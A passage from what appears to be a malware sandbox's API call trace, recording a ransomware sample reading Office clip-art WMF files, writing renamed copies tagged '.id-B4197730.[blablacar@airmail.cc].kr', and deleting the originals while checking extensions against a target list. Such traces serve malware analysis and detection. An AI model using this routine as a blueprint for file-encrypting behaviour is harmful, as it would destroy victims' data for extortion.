lpOverlapped=0x0) returned 1 [0194.834] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.835] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.835] SetEndOfFile (hFile=0x3f8) returned 1 [0194.835] CloseHandle (hObject=0x3f8) returned 1 [0194.835] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.835] SetEndOfFile (hFile=0x548) returned 1 [0194.839] CloseHandle (hObject=0x548) returned 1 [0194.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0194.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.840] lstrlenW (lpString=".doc") returned 4 [0194.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.840] lstrlenW (lpString=".docx") returned 5 [0194.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.840] lstrlenW (lpString=".pdf") returned 4 [0194.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.840] lstrlenW (lpString=".xls") returned 4 [0194.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.840] lstrlenW (lpString=".xlsx") returned 5 [0194.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.840] lstrlenW (lpString=".ppt") returned 4 [0194.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.840] lstrlenW (lpString=".zip") returned 4 [0194.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.840] lstrlenW (lpString=".rar") returned 4 [0194.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString=".bz2") returned 4 [0194.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString=".7z") returned 3 [0194.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.841] lstrlenW (lpString=".dbf") returned 4 [0194.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.841] lstrlenW (lpString=".1cd") returned 4 [0194.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.841] lstrlenW (lpString=".jpg") returned 4 [0194.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.841] lstrlenW (lpString=".doc") returned 4 [0194.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString=".docx") returned 5 [0194.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.841] lstrlenW (lpString=".pdf") returned 4 [0194.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.841] lstrlenW (lpString=".xls") returned 4 [0194.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.841] lstrlenW (lpString=".xlsx") returned 5 [0194.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.841] lstrlenW (lpString=".ppt") returned 4 [0194.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.842] lstrlenW (lpString=".zip") returned 4 [0194.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.842] lstrlenW (lpString=".rar") returned 4 [0194.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.842] lstrlenW (lpString=".bz2") returned 4 [0194.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.842] lstrlenW (lpString=".7z") returned 3 [0194.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.842] lstrlenW (lpString=".dbf") returned 4 [0194.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.842] lstrlenW (lpString=".1cd") returned 4 [0194.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0194.842] lstrlenW (lpString=".jpg") returned 4 [0194.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.842] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.842] lstrlenW (lpString="HH00236_.WMF") returned 12 [0194.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.904] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3286) returned 1 [0194.904] CloseHandle (hObject=0x3ec) returned 1 [0194.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0194.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0195.145] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.146] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.146] GetLastError () returned 0x0 [0195.146] ReadFile (in: hFile=0x538, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0195.148] WriteFile (in: hFile=0x36c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xce0, lpOverlapped=0x0) returned 1 [0195.149] ReadFile (in: hFile=0x538, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.149] WriteFile (in: hFile=0x36c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0195.149] SetEndOfFile (hFile=0x36c) returned 1 [0195.149] CloseHandle (hObject=0x36c) returned 1 [0195.149] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.149] SetEndOfFile (hFile=0x538) returned 1 [0195.158] CloseHandle (hObject=0x538) returned 1 [0195.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0195.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString=".doc") returned 4 [0195.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString=".docx") returned 5 [0195.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.160] lstrlenW (lpString=".pdf") returned 4 [0195.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString=".xls") returned 4 [0195.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.160] lstrlenW (lpString=".xlsx") returned 5 [0195.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.160] lstrlenW (lpString=".ppt") returned 4 [0195.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString=".zip") returned 4 [0195.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.160] lstrlenW (lpString=".rar") returned 4 [0195.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString=".bz2") returned 4 [0195.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString=".7z") returned 3 [0195.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString=".dbf") returned 4 [0195.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString=".1cd") returned 4 [0195.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.160] lstrlenW (lpString=".jpg") returned 4 [0195.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.405] lstrlenW (lpString=".doc") returned 4 [0195.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString=".docx") returned 5 [0195.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.405] lstrlenW (lpString=".pdf") returned 4 [0195.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString=".xls") returned 4 [0195.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.405] lstrlenW (lpString=".xlsx") returned 5 [0195.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.405] lstrlenW (lpString=".ppt") returned 4 [0195.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.405] lstrlenW (lpString=".zip") returned 4 [0195.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.405] lstrlenW (lpString=".rar") returned 4 [0195.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString=".bz2") returned 4 [0195.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.405] lstrlenW (lpString=".7z") returned 3 [0195.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.406] lstrlenW (lpString=".dbf") returned 4 [0195.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.406] lstrlenW (lpString=".1cd") returned 4 [0195.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0195.406] lstrlenW (lpString=".jpg") returned 4 [0195.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.406] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.406] lstrlenW (lpString="HH00623_.WMF") returned 12 [0195.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.495] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=10644) returned 1 [0196.495] CloseHandle (hObject=0x3e4) returned 1 [0196.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0196.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.496] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.496] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.498] GetLastError () returned 0x0 [0196.498] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2994, lpOverlapped=0x0) returned 1 [0196.501] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0196.502] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.503] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.503] SetEndOfFile (hFile=0x548) returned 1 [0196.503] CloseHandle (hObject=0x548) returned 1 [0196.503] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.503] SetEndOfFile (hFile=0x3e4) returned 1 [0196.508] CloseHandle (hObject=0x3e4) returned 1 [0196.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0196.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.509] lstrlenW (lpString=".doc") returned 4 [0196.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.509] lstrlenW (lpString=".docx") returned 5 [0196.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.509] lstrlenW (lpString=".pdf") returned 4 [0196.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.509] lstrlenW (lpString=".xls") returned 4 [0196.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.509] lstrlenW (lpString=".xlsx") returned 5 [0196.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.509] lstrlenW (lpString=".ppt") returned 4 [0196.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.509] lstrlenW (lpString=".zip") returned 4 [0196.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.509] lstrlenW (lpString=".rar") returned 4 [0196.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.509] lstrlenW (lpString=".bz2") returned 4 [0196.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString=".7z") returned 3 [0196.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString=".dbf") returned 4 [0196.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString=".1cd") returned 4 [0196.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString=".jpg") returned 4 [0196.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString=".doc") returned 4 [0196.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString=".docx") returned 5 [0196.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.510] lstrlenW (lpString=".pdf") returned 4 [0196.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString=".xls") returned 4 [0196.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.510] lstrlenW (lpString=".xlsx") returned 5 [0196.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.510] lstrlenW (lpString=".ppt") returned 4 [0196.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.510] lstrlenW (lpString=".zip") returned 4 [0196.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.510] lstrlenW (lpString=".rar") returned 4 [0196.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.511] lstrlenW (lpString=".bz2") returned 4 [0196.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.511] lstrlenW (lpString=".7z") returned 3 [0196.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.511] lstrlenW (lpString=".dbf") returned 4 [0196.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.511] lstrlenW (lpString=".1cd") returned 4 [0196.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0196.511] lstrlenW (lpString=".jpg") returned 4 [0196.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.511] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.511] lstrlenW (lpString="HH00681_.WMF") returned 12 [0196.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.512] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9300) returned 1 [0196.512] CloseHandle (hObject=0x3e4) returned 1 [0196.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0196.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.512] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.513] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.513] GetLastError () returned 0x0 [0196.513] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2454, lpOverlapped=0x0) returned 1 [0196.515] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2460, lpOverlapped=0x0) returned 1 [0196.516] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.516] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: 